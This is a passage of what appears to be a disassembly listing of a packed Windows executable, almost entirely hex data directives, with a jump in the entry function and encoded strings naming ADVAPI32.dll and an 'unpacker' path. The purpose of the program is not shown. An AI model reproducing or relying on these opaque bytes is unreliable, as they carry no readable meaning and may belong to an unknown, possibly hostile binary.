		dd 0FC0B775h, 0E9701C6Fh, 0B4D800DFh, 0E0BADB5Ch, 25B82210h
		dd 99B53300h, 10CA53Fh,	538F8902h, 412904F3h, 0F04CA8D4h
		dd 0E32601E8h, 4CE06E17h, 1B198147h, 70D34DA0h,	2421C7C9h
		dd 0D4E120h, 0DC71783Ch, 96B27AAFh, 501249FEh, 201FDEE2h
		dd 20E0F89h, 2229BE98h,	0F898DDF3h, 8500210Ah, 0A718CC30h
		dd 0F41AC1h, 5196EDA6h,	4925CD61h, 63BF5502h, 845CB595h
		dd 1740A8F0h, 9C477370h, 524340BDh, 0A7D00040h,	2EAFD9EFh
		dd 79023BBCh, 0D27C518Fh, 0B800E0EBh, 0AEED3D91h, 0D5A44706h
		dd 57E28982h, 0F203CC9Ah, 423EB8D0h, 0F9EF80EAh, 0C0700D4h
		dd 2E36F75Dh, 0EB0ED47h, 0FB487A60h, 0E942AFh, 4E1A4894h
		dd 0A55BE7A2h, 6C7BE00h, 4367CD9Ch, 0B5E1095Fh,	14855CDBh
		dd 2408135h, 33B8CCD3h,	15A1B17h, 59963C30h, 12980064h
		dd 0E1C3EBD0h, 0CCB2F7D7h, 0F801D486h, 5E6FC453h, 3C3022DDh
		dd 0B1B2E8E3h, 4C4104E4h, 7C0E5321h, 5AE30349h,	1CDAE3A7h
		dd 0C3D36390h, 904DBBE6h, 7883591Dh, 8D6B440h, 1F89E53Dh
		dd 6EC01CC6h, 2B5C0203h, 0A0E3CA43h, 0DE333080h, 0DA014903h
		dd 0ED0C63Dh, 259261C1h, 26B2007Dh, 65A7BDB4h, 0FE63A506h
		dd 78A15E4Bh, 0A23F00DCh, 85D2EAE2h, 77004943h,	4C65FC60h
		dd 2F7687h, 4517BED8h, 0BA9B10CCh, 0A506AF00h, 0F0021C72h
		dd 0B394380Dh, 11606A2Eh, 7399085Fh, 0F3FB8022h, 52C3A0F6h
		dd 84B9743Bh, 0FDC0F823h, 7B6570C0h, 0ACFF48DFh, 0E78A1181h
		dd 0BDF1F839h, 4D736690h, 89627100h, 0F5E3BBDAh, 50F80AB8h
		dd 41B4565Ch, 0F4B17E43h, 0FB09EA74h, 1844B5F2h, 775B2370h
		dd 13F3033Ch, 67898F88h, 875D92D0h, 3BB92E02h, 40406FAEh
		dd 207910Ch, 783951AAh,	0D4634C58h, 45C601D0h, 6184ED00h
		dd 0EED0DDEAh, 1894908Eh, 20EBA6E7h, 2C00C9BDh,	9E81B7DEh
		dd 1C5AE946h, 8012C707h, 6931B648h, 0F600D0EEh,	0C66F67AAh
		dd 609EDA5Ah, 862A61C5h, 0CD0FF065h, 259B11E0h,	61C07617h
		dd 0C0F9E991h, 0A3DE0108h
		dd 2B008841h, 69873F4Ah, 0BBCB9Ah, 5F05212Ch, 0DA82C8EFh
		dd 6F974703h, 18527E6Ch, 0A990A461h, 41005339h,	2F67DB80h
		dd 9A215Eh, 7993E84Eh, 0A0B6FB86h, 1C1FD200h, 0B454B5C5h
		dd 9138C00Bh, 0CA66CB94h, 3CD1901Bh, 0D94FE059h, 322F82Ch
		dd 0BA3DC2C4h, 9DA3D19Bh, 7CA9211Fh, 0FA344070h, 93F600E3h
		dd 2ED4CA9Eh, 1E00312Ah, 750C6B86h, 1B53059h, 153B9589h
		dd 83C585EAh, 66F6D7F9h, 0E6E3887Dh, 8F7C2D67h,	1E00A578h
		dd 0B4C25D83h, 74893Fh,	192D161Fh, 286E8E45h, 0D02CB00Ch
		dd 1DB49F8h, 0D15B98BEh, 0F5BB93EEh, 2E644043h,	1304878Ah
		dd 0C490CC1Ch, 9446EF81h, 6A97BE0h, 9FB04A89h, 9D00314Dh
		dd 0E8443558h, 0B17EBC9h, 0D8B3FE6Bh, 0C3480250h, 9C062ADAh
		dd 8414C049h, 0AB809C30h, 3A352395h, 53BA52FCh,	0D4752183h
		dd 9EF9311Ch, 0A56980C4h, 7834777Ch, 0D5563B62h, 46663C82h
		dd 0B480E69Ah, 6F6864EEh, 0F7A0B97Ch, 4700C48Bh, 527F919h
		dd 1EA037Ch, 82C68D96h,	212208BFh, 7155D41Ch, 0B4286C1Ch
		dd 34406D52h, 5AFD19C1h, 0DECA03DBh, 0B79DD72Ch, 0B8F2E6B8h
		dd 296EA930h, 0B0380A31h, 0F16F0195h, 29B18D04h, 0A735F8BBh
		dd 0CAE074A3h, 0D57082A0h, 23FFD200h, 952AB152h, 20E006Fh
		dd 3EE0E424h, 9B00AF5Ch, 8788F0C1h, 1D910F25h, 0C06343CBh
		dd 4DFA3666h, 0C0CCC8E1h, 19685247h, 699C3BD0h,	1BE7E039h
		dd 9E65410Ah, 1A809C4Bh, 5F21FC36h, 26DE3D1Dh, 8407B88Eh
		dd 0AE8E6040h, 68000382h, 88C644E6h, 0D6A66BCh,	94A5ADB7h
		dd 693F859h, 0F407B300h, 7E4150C9h, 229203B0h, 8D45D070h
		dd 5B42915h, 696200F4h,	3366BEC1h, 7EEA0687h, 2988A47Ah
		dd 76937B00h, 43468223h, 594B0016h, 89B88040h, 0F298F391h
		dd 0D0356528h, 0D7209D04h, 5C90C2D0h, 7984D2Ch,	0DC3D176h
		dd 7C7A80A1h, 1E3D5BB0h, 0A3BB831Ch, 0DFF88EAh,	9E42D731h
		dd 2488A879h, 47119660h, 0BA57B8h, 251CF98Dh, 0A404DDFDh
		dd 0D6219760h, 420A1Fh,	24506B3Fh, 94D2DC3Eh, 6CA36300h
		dd 466DE412h, 3CB4A8BEh, 1D8E00C2h, 2C67D72Bh, 41903D8Ch
		dd 6510A304h, 0C0AAF481h, 40D0F33Ah, 2EC58200h,	92F50EC0h
		dd 521B30C2h, 3EE776F0h, 0FC44B600h, 1E09BA39h,	613C1E84h
		dd 4F82412h, 9072A9FEh,	78565340h, 0A4E74B00h, 1481E05Fh
		dd 82AB019Dh, 0D1AE7592h, 1D16C41Eh, 0A9110C0Ch, 0E6A73970h
		dd 0D864003Bh, 6776CC27h, 0E44816E6h, 11FF01A8h, 8CF6D1B2h
		dd 139A2DF0h, 274A6DB9h, 0A0D12D0h, 4667F4A0h, 0D4C963A7h
		dd 2AC933Dh, 0B2D766C8h, 0C4A0D6CFh, 1DDC1AABh,	586E0712h
		dd 2B34F800h, 9B74AAAh,	20ACD755h, 0C91ED501h, 9149806Ah
		dd 3F0E6C8Ah, 5F66067Dh, 517C6DE3h, 1F70C64Ch, 62C019D8h
		dd 4FB9B126h, 0C39E34BFh, 0F98B8121h, 0FD9F70EAh, 0F5E00313h
		dd 0A9078405h, 11AA6000h, 0B5CFF7h, 33F37D84h, 0D0E3B0A4h
		dd 2069D46Eh, 221BAF11h, 0C41F0065h, 18B93DA2h,	0AE005CB2h
		dd 1654BAF4h, 282A3667h, 0F89C9E3Ch, 65EB017Eh,	0AD7C5766h
		dd 40AC4731h, 4A9D0818h, 0A545A1C3h, 0BCB3988Ah, 4CBB00C4h
		dd 0E6A42392h, 8F3E940Eh, 8A6FBBCAh, 0DC74A91Bh, 9A40B69Fh
		dd 5592352Ah, 0EC3E4ED6h, 21E05046h, 82993F3Ah,	286D3C9Dh
		dd 667840B7h, 0D8A0A0B0h, 0D6110067h, 1B871E43h, 5A05C916h
		dd 6AC67B37h, 4406E860h, 82351D34h, 0F95B0011h,	84A7042Fh
		dd 0CAE98011h, 4DA6E600h, 310E3D52h, 15586773h,	0F6D183Ch
		dd 0F1178E78h, 0F0D05FD0h, 8460B186h, 88CF5CEEh, 6402FBD0h
		dd 3D56413Ah, 9A58E086h, 0FDCE301Fh, 8E6CB821h,	0AC8BE639h
		dd 8041E3Fh, 9380C613h,	17A0B62h, 2E67A750h, 2068F2DDh
		dd 377B208h, 2493A424h,	0FF9600BCh, 66940A8Ah, 589E48D4h
		dd 88ABF601h, 0F9389882h, 1F817B75h, 0FF9C92Ch,	8F002423h
		dd 0B2B774D5h, 0D90006F6h, 12B11648h, 17E5A15h,	61C9A29Ch
		dd 8789A409h, 9564CA71h, 24003D77h, 0B1A0E728h,	45928098h
		dd 2273C126h, 0FC2E6100h, 2D1C0379h, 0CFE2491h,	7A05396Ch
		dd 0D37B09C6h, 408DD018h, 52E3F488h, 0E158E94Dh, 0E83800CCh
		dd 92C18898h, 1765E849h, 3301650h, 0DBE98BCDh, 0A6003971h
		dd 6695DD4h, 4F8C09h, 7894688Ah, 76E2D00Ch, 6BEFD500h
		dd 89D99C35h, 0C80D472h, 0B4E89983h, 4114C1E5h,	0F800149Eh
		dd 1953F561h, 311117D3h, 3BD020CFh, 0FE058159h,	7A4F04BCh
		dd 0C0C04C84h, 19871F95h, 401C7444h, 36A8E38Eh,	0F8814F39h
		dd 2346BA10h, 0DA16DC2Ch, 7A605C2Ch, 20F278Bh, 68DA2938h
		dd 8C204A9Fh, 1FAD60F3h, 40D0C823h, 52C7C421h, 0F07C6530h
		dd 0A3E63200h, 614A2D2Fh, 31160604h, 41CA456Dh,	0BFE60F1Ch
		dd 0FCCFC2B1h, 6A717180h, 7CB28525h, 3280D602h,	408A4DB6h
		dd 1DC95A9Ch, 800C902Eh, 665244F0h, 3E078C7Ch, 0F8A29787h
		dd 95B48180h, 57D644E9h, 69673701h, 1114E086h, 0BB13CCh
		dd 65EEF1D1h, 8C94495h,	67803494h, 9E721680h, 0E894A070h
		dd 0B44E0885h, 5800C76Fh, 0C562BE7Eh, 0AE460AEBh, 5F01CCD2h
		dd 6CFFFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_52EDDC:				; CODE XREF: start:loc_4D3265j
					; DATA XREF: start:loc_4D3086o
		jmp	loc_53219D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 0Ah dup(0)
		dd 0DFEFFF00h, 7A4CD9h,	3 dup(0)
		dd 4FF9700h, 10A4FFh, 200h, 3 dup(0)
		dd 5EF28800h, 569E233Eh, 35B00h, 6 dup(0)
		dd 0E8216000h, 77h, 92DB4C00h, 20009Dh,	0FE030400h, 7Fh
		dd 0A0B13400h, 27EBBD00h, 48h, 8 dup(0)
		dd 0FE030400h, 7Fh, 30400h, 0FFFF9400h,	0A94AA9FFh, 580000FFh
		dd 2, 5	dup(0)
		dd 0E701AC00h, 77h, 0
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 56829200h, 7	dup(0)
		dd 9EA00F00h, 0
		dd 0FE030400h, 12FFF07Fh, 0
		dd 0E1638500h, 38h, 0
		dd 9E69DD00h, 0Ch dup(0)
		dd 0FE030400h, 7Fh, 573E0900h, 58000000h, 2, 2 dup(0)
		dd 0B09E5900h, 4Eh, 2 dup(0)
		dd 571FF300h, 0
		dd 1B000000h, 0
		dd 6C006C00h, 3	dup(0)
		dd 100200h, 2 dup(0)
		dd 0E776CD00h, 581D5477h, 4 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 0B44E3D00h, 1FFh, 0F8E86D00h, 68h, 58830100h, 5E6B800h
		dd 1, 0
		dd 56280B00h, 4	dup(0)
		dd 12FFA400h, 3	dup(0)
		dd 9EFA5600h, 52F76900h, 0
		dd 62A36000h, 0D4h, 0
		dd 596B6000h, 5	dup(0)
		dd 569E4900h, 0
		dd 5B04EB00h, 11111113h, 530AE111h, 4 dup(0)
		dd 12FFC400h, 0
		dd 59AFE300h, 5	dup(0)
		dd 0BA4E6000h, 3Ah, 3 dup(0)
		dd 0ACB1CA00h, 0
		dd 12A00h, 2 dup(0)
		dd 40100000h, 0
		dd 0E8216400h, 0E6000077h, 61222977h, 0B9h, 7 dup(0)
		dd 0A800h, 3 dup(0)
		dd 0E7550100h, 4Ch, 0E000h, 2 dup(0)
		dd 5690D100h, 7	dup(0)
		dd 9EA00F00h, 0FFFFFF00h, 0FFh,	6 dup(0)
		dd 573E0900h, 2	dup(0)
		dd 24242400h, 24h, 2 dup(0)
		dd 531FA500h, 6CF200h, 3 dup(0)
		dd 0B8C6700h, 38h, 4 dup(0)
		dd 0B88500h, 3 dup(0)
		dd 0FFFFFF00h, 0FFh, 2 dup(0)
		dd 569E2300h, 567BDA00h, 4 dup(0)
		dd 0A2A5E700h, 0B62ACF00h, 0E7C4867Ah, 77h, 0
		dd 9000h, 4 dup(0)
		dd 0F493F600h, 532FFD74h, 0
		dd 56829200h, 3	dup(0)
		dd 54000000h, 2, 55597400h, 86h, 0
		dd 43999500h, 58FEAD51h, 0EBA6E980h, 0FFB8DC77h, 0FFh
		dd 3 dup(0)
		dd 689BE000h, 3520067h,	61935000h, 0FFh, 0Ch dup(0)
		dd 0FFE11A00h, 0FFh, 98C38100h,	0C2h, 5751B200h, 5 dup(0)
		dd 5D79FF00h, 64h, 3600000h, 0
		dd 81002400h, 5, 13B200h, 0
		dd 0FE030400h, 7Fh, 4 dup(0)
		dd 2006CB00h, 0B1E03451h, 0
		dd 0E78B8200h, 77h, 6 dup(0)
		dd 9E9C3700h, 3	dup(0)
		dd 3F972E00h, 0B1h, 10h	dup(0)
		dd 59B1B700h, 3	dup(0)
		dd 573E0900h, 2C000000h, 88h, 9	dup(0)
		dd 56C06200h, 1Ah dup(0)
		dd 69DD00h, 0A905D300h,	5C3A4345h, 444E4957h, 5C53574Fh
		dd 74737953h, 32336D65h, 5644415Ch, 33495041h, 6C642E32h
		dd 6Ch,	39h dup(0)
		dd 0DF407400h, 170h, 0Ch dup(0)
		dd 5821D900h, 7	dup(0)
		dd 9E939300h, 0
		dd 348D8D00h, 69h, 4 dup(0)
		dd 0F0898700h, 41h, 0
		dd 0B5000000h, 2 dup(0)
		dd 0FA293F00h, 531FA595h, 0
		dd 9EED3500h, 0DB23EA3Ah, 4505557Bh, 5,	5 dup(0)
		dd 1D46B800h, 5858C365h, 6 dup(0)
		dd 0FFFFFF00h, 0FFh, 4 dup(0)
		dd 0F52E0F00h, 77h, 0FFFFFC00h,	77h, 9F1F8400h,	0B5E274h
		dd 3 dup(0)
		dd 9E3E3B00h, 0AA13FF00h, 0FFh,	0
		dd 6E6E6A00h, 33h, 0ED7ECE00h, 98C38173h, 0C2h,	4 dup(0)
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 9EA037h, 448BE0FFh, 0E0FF0424h, 13h dup(0)
		dd 0B4000000h, 76h, 9DB16800h, 7 dup(0)
		dd 6CF200h, 0BD4CC000h,	4F1663CAh, 0FFA9A817h, 0FFh, 7 dup(0)
		dd 58217F00h, 2	dup(0)
		dd 9F156800h, 581F6600h, 5982FE00h, 2 dup(0)
		dd 56283300h, 0D75AD300h, 58586677h, 575DDD00h,	0
		dd 7D8EA500h, 9, 0F493F700h, 74h, 3 dup(0)
		dd 9EA00F00h, 0
		dd 0FFA61C00h, 0E77963FFh, 77h,	18AE6300h, 5666AD00h, 9EA03700h
		dd 6805F200h, 7Ch, 0
		dd 567BDA00h, 2	dup(0)
		dd 40000h, 0
		dd 584E8300h, 0
		dd 8F252500h, 0E600003Eh, 77h, 85h dup(0)
		dd 10000h, 2 dup(0)
		dd 0A066D900h, 36363680h, 36h, 0
		dd 494E0D00h, 84h, 5 dup(0)
		dd 0AF1DEE00h, 100h, 34DD2F00h,	5307B9FDh, 0E82FE800h
		dd 77h,	3F000C00h, 2, 0
		dd 0A215C400h, 0FDh, 4A064C00h,	0BBh, 5	dup(0)
		dd 563B5300h, 0F167DE00h, 0B8h,	8 dup(0)
		dd 8BDF3400h, 6Bh, 0B3FF7400h, 0FEh, 0
		dd 67727300h, 6Fh, 0B646D400h, 0F7h, 3 dup(0)
		dd 9E6CB000h, 5	dup(0)
		dd 20BE7900h, 0D9h, 0
		dd 7CD6C500h, 25h, 8 dup(0)
		dd 59F7F300h, 45h, 5 dup(0)
		dd 52002300h, 82039200h, 14h, 5	dup(0)
		dd 0E8000h, 5 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 6A0FA100h, 66h, 0
		dd 7C00h, 4 dup(0)
		dd 9F156800h, 3	dup(0)
		dd 4479E300h, 2Bh, 0F611F500h, 36h, 0
		dd 0F5C65200h, 0DD23D768h, 77h,	400h, 6	dup(0)
		dd 53156A00h, 0FF230E00h, 0FFh,	157FD000h, 0A29995D5h
		dd 6 dup(0)
		dd 89E93700h, 276225D9h, 0A1E8179Ch, 5E41713Fh,	6Fh, 0Fh dup(0)
		dd 8400h, 4BA8E600h, 0
		dd 0F5180B00h, 77h, 2 dup(0)
		dd 40000000h, 0B02C0800h, 0F9h,	2 dup(0)
		dd 100h, 8 dup(0)
		dd 0FE6CD900h, 7Fh, 3 dup(0)
		dd 11E800h, 0
		dd 1B351300h, 0FE03047Fh, 7Fh, 5679C900h, 59FE0800h, 2 dup(0)
		dd 0E535B100h, 0FF90D1EFh, 0FFh, 0
		dd 100h, 0B6h dup(0)
		dd 52002300h, 9	dup(0)
		dd 89E93700h, 0D9h, 0Ah	dup(0)
		db 0
byte_530055	db 3 dup(0)		; DATA XREF: ___:off_42CC84o
					; ___:off_42CC9Co
		dd 36B00h, 0
		dd 7473D700h, 7Dh, 6 dup(0)
		dd 0E5000000h, 0FFh, 2Ah dup(0)
		dd 9E8C0A00h, 0FFFFFE00h, 77h, 0
		dd 1DE13F00h, 8, 2 dup(0)
		dd 0E75CB500h, 0E6000177h, 77h,	0BE02EC00h, 53156900h
		dd 0Dh dup(0)
		dd 56BDFA00h, 5627E300h, 12FF5400h, 3 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0FFFFFF00h, 94FFh, 9	dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 52EE5500h, 4	dup(0)
		dd 3248E000h, 3	dup(0)
		dd 0F7EBB300h, 6D22CC77h, 0FAh,	0
		dd 1C671400h, 0D40000FCh, 40000077h, 0FE030400h, 7Fh, 2	dup(0)
		dd 200h, 37FE800h, 8C00h, 13h dup(0)
		dd 59A9CE00h, 0
		dd 2DEB00h, 4 dup(0)
		dd 600h, 2 dup(0)
		dd 7D100h, 5 dup(0)
		dd 56FA1100h, 582C0D00h, 2 dup(0)
		dd 9C00h, 2 dup(0)
		dd 9BD61500h, 52002358h, 7 dup(0)
		dd 0BCB8DC00h, 2, 0FFFABB00h, 230AFFh, 0A07FD800h, 0
		dd 5A58E500h, 7	dup(0)
		dd 0E7550100h, 59543D4Ch, 2 dup(0)
		dd 1D53DB00h, 3Eh, 1Ah dup(0)
		dd 0B0284E00h, 6Fh, 0
		dd 0A78A8600h, 89E937FFh, 0D9h,	0
		dd 9E6CB000h, 59F800h, 0
		dd 59BF7600h, 9	dup(0)
		dd 9DD55400h, 55EC0100h, 9E915B00h, 3 dup(0)
		dd 4D100000h, 0AEFFB000h, 89611101h, 15h, 7 dup(0)
		dd 38AF6100h, 0E5h, 591F1900h, 6 dup(0)
		dd 800300h, 9E3E3B00h, 5 dup(0)
		dd 56829200h, 0
		dd 24037600h, 7365527Ah, 74726174h, 2E707041h, 657865h
		dd 0B88500h, 2 dup(0)
		dd 100h, 0
		dd 9E69DD00h, 2	dup(0)
		dd 0E776CD00h, 77h, 3267500h, 82h, 0FE030400h, 7Fh, 5E676500h
		dd 4Dh,	5FF9700h, 0FFh,	3 dup(0)
		dd 0E600F800h, 77h, 0
		dd 0FF91E100h, 0FFh, 3 dup(0)
		dd 0FB754500h, 0FEh, 3 dup(0)
		dd 59DA1500h, 9	dup(0)
		dd 574CE500h, 7	dup(0)
		dd 52002300h, 0
		dd 79F2B800h, 5Ch, 0
		dd 532BD200h, 6	dup(0)
		dd 0B2BC6400h, 0D5h, 0
		dd 6CF200h, 5 dup(0)
		dd 0A9842600h, 0FFh, 29h dup(0)
		dd 0BCB8DC00h, 2, 2 dup(0)
		dd 324AF000h, 100h, 2 dup(0)
		dd 0FF9B3800h, 0FE0398FFh, 7Fh,	0
		dd 0A37DD500h, 77h, 3 dup(0)
		dd 0FF8E4C00h, 0FFh, 12FF5400h,	2 dup(0)
		dd 83D96300h, 0E802992Bh, 7Eh, 0FE030400h, 7Fh,	3 dup(0)
		dd 5682A400h, 4	dup(0)
		dd 0DEFFAF00h, 1, 7 dup(0)
		dd 0FFFFFF00h, 12FFE0FFh, 9 dup(0)
		dd 89E93700h, 0D9h, 7 dup(0)
		dd 6CF200h, 0FE030400h,	7Fh, 3F94D700h,	74FEh, 3 dup(0)
		dd 40C00h, 5 dup(0)
		dd 56FBF200h, 5	dup(0)
		dd 4001E800h, 0
		dd 5321F100h, 2D3430FFh, 31h, 0Ch dup(0)
		dd 10120B00h, 8	dup(0)
		dd 189A400h, 2 dup(0)
		dd 0B59D1D00h, 0DFh, 0FE030400h, 0B41B407Fh, 76h, 59E84700h
		dd 3 dup(0)
		dd 9E949900h, 0Dh dup(0)
		dd 0DA05F200h, 57EE2952h, 2 dup(0)
		dd 0D301400h, 0F5125400h, 177h,	0A97D6E00h, 0FFh, 3 dup(0)
		dd 0FE030400h, 7Fh, 4 dup(0)
		dd 26053500h, 2Eh, 0
		dd 8A000000h, 9E69DD02h, 0
		dd 5326D600h, 0
		dd 7FDB2400h, 4Dh, 58B60C00h, 2	dup(0)
		dd 320000h, 53269300h, 6 dup(0)
		dd 0FE030400h, 7Fh, 2 dup(0)
		dd 53EF7E00h, 0C0h, 0FBB000h, 2	dup(0)
		dd 0FE030400h, 7Fh, 4 dup(0)
		dd 0A701BF00h, 0FFh, 5 dup(0)
		dd 0E805D800h, 77h, 4 dup(0)
		dd 332FB000h, 0F1h, 0
		dd 1FCFC00h, 0FF95A080h, 0FFh, 0E7A83700h, 77h,	3 dup(0)
		dd 0D4000100h, 77h, 6 dup(0)
		dd 57CE3700h, 0
		dd 0EF000000h, 77h, 19h	dup(0)
		dd 56EF0100h, 0
		dd 5629D900h, 5	dup(0)
		dd 0EC00h, 0
		dd 82039200h, 14h, 0
		dd 578EF700h, 0
		dd 0BCB8DC00h, 102h, 0
		dd 5899F500h, 0
		dd 5864E800h, 2	dup(0)
		dd 9F326800h, 200h, 2 dup(0)
		dd 56C06200h, 0FE030400h, 185A037Fh, 0C530DF88h, 0A9h
		dd 6 dup(0)
		dd 0BCB8DC00h, 2, 0
		dd 4414B800h, 1Ch, 7 dup(0)
		dd 10A000h, 3 dup(0)
		dd 9E923400h, 11000000h, 0FFEF8400h, 0B0284EFFh, 196Fh
		dd 57332C00h, 2	dup(0)
		dd 54500h, 20EE900h, 1FCFC00h, 80h, 9E229200h, 4 dup(0)
		dd 8A1BD900h, 6E14F302h, 0A0h, 5 dup(0)
		dd 20EE900h, 0Ch dup(0)
		dd 995F8200h, 0E9h, 0E7A09900h,	77h, 0A9383900h, 0FFh
		dd 3F000000h, 2, 3 dup(0)
		dd 0E75CB500h, 0B9BD4877h, 0FFD725E5h, 0FFh, 0
		dd 3900h, 2 dup(0)
		dd 9EA00F00h, 0
		dd 9E2BDE00h, 5	dup(0)
		dd 65AC00h, 0
		dd 6EFFB000h, 1, 2 dup(0)
		dd 0DD000000h, 77h, 723D3C00h, 9E5E2EF2h, 2 dup(0)
		dd 9800h, 6 dup(0)
		dd 9ED23C00h, 32h, 2 dup(0)
		dd 5E283800h, 0E7AC5E3Ah, 77h, 0Bh dup(0)
		dd 5E9D1D00h, 0FDF1173Ah, 0FFh,	3 dup(0)
		dd 7A962700h, 4Bh, 0
		dd 577E8000h, 2	dup(0)
		dd 100h, 3 dup(0)
		dd 8800h, 8 dup(0)
		dd 0BE2500h, 2 dup(0)
		dd 57FAEA00h, 2	dup(0)
		dd 9E800h, 200h, 2 dup(0)
		dd 0EE5D1700h, 35h, 7 dup(0)
		dd 9A33E700h, 0C2h, 5 dup(0)
		dd 0DD189A00h, 679E5777h, 0FEh,	4 dup(0)
		dd 4BDEB100h, 398D8D3Fh, 0F6h, 866A6900h, 0FEA00F01h, 7Fh
		dd 3 dup(0)
		dd 0A9103F00h, 0FFh, 7CD6C500h,	25h, 2 dup(0)
		dd 0FB5E200h, 8Ah, 6 dup(0)
		dd 22222200h, 22222222h, 22h, 5	dup(0)
		dd 67C500h, 6 dup(0)
		dd 8CE62400h, 0FEh, 300h, 3 dup(0)
		dd 89E93700h, 0D9h, 55EC0100h, 0FF8E5000h, 0FFh, 6 dup(0)
		dd 591D1000h, 0
		dd 56C7C700h, 19h dup(0)
		dd 0C530DF00h, 0A9h, 9 dup(0)
		dd 36B00h, 5 dup(0)
		dd 3A000h, 0DA637000h, 73h, 2 dup(0)
		dd 0FB8D8D00h, 0AC2147C4h, 0FFh, 2 dup(0)
		dd 0A90EFB00h, 0FFh, 0F5000000h, 54577h, 0
		dd 0C530DF00h, 0A9h, 27622500h,	9Ch, 2 dup(0)
		dd 0DD59F000h, 0DD205377h, 52F685FDh, 7D53C700h, 89h, 0FC990900h
		dd 9E8C0A7Fh, 5	dup(0)
		dd 9D0A9A00h, 6	dup(0)
		dd 0FF8F3600h, 0FFh, 2 dup(0)
		dd 17FB700h, 7 dup(0)
		dd 2DEB00h, 2 dup(0)
		dd 5D043300h, 1Bh, 0
		dd 0EB49200h, 5	dup(0)
		dd 9E69DD00h, 4	dup(0)
		dd 6CF200h, 0
		dd 2800h, 0
		dd 6D22CC00h, 0FAh, 0
		dd 77C3D700h, 56h, 0
		dd 59D26E00h, 433000h, 0
		dd 988D8D00h, 90h, 9E69DD00h, 4	dup(0)
		dd 59E3A800h, 2	dup(0)
		dd 56829200h, 0A9842600h, 0FFh,	2 dup(0)
		dd 0DA7E600h, 9, 4 dup(0)
		dd 58A40300h, 0Fh dup(0)
		dd 27B6A00h, 1,	5A63AC00h, 4 dup(0)
		dd 0E7A14400h, 77h, 4 dup(0)
		dd 0FE030400h, 5C3A437Fh, 6E755F6Dh, 6B636170h,	7265h
		dd 7Ch dup(0)
		dd 0A9B4E500h, 27h, 5 dup(0)
		dd 88591100h, 3, 8E52E00h, 54h,	12FF5400h, 4 dup(0)
		dd 0B194D100h, 64h, 28h	dup(0)
		dd 61222900h, 0B9h, 0D4C96A00h,	12FF5477h, 2 dup(0)
		dd 58DA4000h, 2	dup(0)
		dd 0C530DF00h, 0A9h, 2 dup(0)
		dd 9D0FE600h, 0
		dd 0E8275500h, 77h, 2 dup(0)
		dd 0E74A3B00h, 77h, 6CF200h, 2 dup(0)
		dd 597E7400h, 2	dup(0)
		dd 0FFAF5E00h, 0FFh, 5 dup(0)
		dd 12FFA400h, 4	dup(0)
		dd 0FFE4C400h, 1FFh, 3 dup(0)
		dd 5A132500h, 56C71500h, 2 dup(0)
		dd 0E8216800h, 571DDC77h, 5A097500h, 0A4CD200h,	0B836CE5Dh
		dd 7Ch,	7B000900h, 3Ch,	2 dup(0)
		dd 584E8300h, 0
		dd 12FEF000h, 63h dup(0)
		dd 569E2300h, 0FFFFFF00h, 0FFh,	4 dup(0)
		dd 0FB5E200h, 8Ah, 8000h, 0Fh dup(0)
		dd 599EE100h, 2	dup(0)
		dd 581F6600h, 2	dup(0)
		dd 0DEFFB000h, 1, 0A400h, 2 dup(0)
		dd 22581D00h, 0B2h, 5 dup(0)
		dd 0E83E6800h, 0AA603577h, 5, 8	dup(0)
		dd 0FFF3F000h, 0FFh, 0B0E900h, 13h dup(0)
		dd 59FE0800h, 9	dup(0)
		dd 0AC000000h, 5 dup(0)
		dd 5A584400h, 0
		dd 9E70C400h, 3	dup(0)
		dd 33333300h, 2	dup(33333333h),	12A33h,	11h dup(0)
		dd 0E7C48600h, 77h, 6 dup(0)
		dd 9E314500h, 7	dup(0)
		dd 12FF6000h, 59E41500h, 3 dup(0)
		dd 0A0731600h, 0
		dd 52002300h, 0
		dd 130000h, 4 dup(0)
		dd 0FE030400h, 7Fh, 4 dup(0)
		dd 400h, 3 dup(0)
		dd 6D0200h, 0
		dd 0BCABC700h, 0D000023h, 0FEBFFE00h, 7Fh, 9F23E800h, 92DFD200h
		dd 76B805h, 57000000h, 2, 0
		dd 0D4C96A00h, 77h, 0FE030400h,	7Fh, 7A4C00h, 2	dup(0)
		dd 908E00h, 4 dup(0)
		dd 0A5CB7000h, 0FFh, 6CF200h, 0
		dd 0FE030400h, 7Fh, 0
		dd 5F7DFF00h, 64h, 5 dup(0)
		dd 43472400h, 212121FDh, 21h, 57BE7F00h, 4 dup(0)
		dd 0F6367000h, 7Fh, 2 dup(0)
		dd 0FFFFDC00h, 52002302h, 0
		dd 6CF200h, 6 dup(0)
		dd 9F2BFF00h, 33h, 56829200h, 5	dup(0)
		dd 494E0D00h, 84h, 8 dup(0)
		dd 53D26600h, 0FFh, 0
		dd 59E84700h, 2	dup(0)
		dd 567BDA00h, 59000000h, 2, 6 dup(0)
		dd 593E4B00h, 3	dup(0)
		dd 9EA00F00h, 0A000h, 0
		dd 0A97D6E00h, 0FFh, 0E26EAA00h, 0B8h, 15h dup(0)
		dd 0A905D300h, 145h, 9 dup(0)
		dd 0A09BAC00h, 0A8829F00h, 7Fh,	597CBA00h, 0
		dd 2D98AB00h, 9Ah, 0FFA65300h, 0FFh, 4 dup(0)
		dd 0E1030400h, 7Fh, 0AE681A00h,	0E9h, 5A58E500h, 0
		dd 6CF200h, 9EA00F00h, 0
		dd 0AA81C100h, 0AE9422F1h, 53h,	9 dup(0)
		dd 7CD6C500h, 25h, 0Ah dup(0)
		dd 0FE030400h, 5DBF297Fh, 5Ch, 583F6100h, 4 dup(0)
		dd 0FFFFF800h, 77h, 0E7A13F00h,	5307B977h, 2 dup(0)
		dd 2D98AB00h, 593A8A9Ah, 4 dup(0)
		dd 9F156400h, 2	dup(0)
		dd 5697C100h, 28010500h, 0Ah, 0
		dd 0FFA61C00h, 0BD00F8FFh, 0
		dd 0FE030400h, 7Fh, 0
		dd 0D2E900h, 3 dup(0)
		dd 0E7A14400h, 785F8577h, 1Ah, 0Bh dup(0)
		dd 0FFFFFF00h, 0FFh, 0
		dd 56829200h, 2	dup(0)
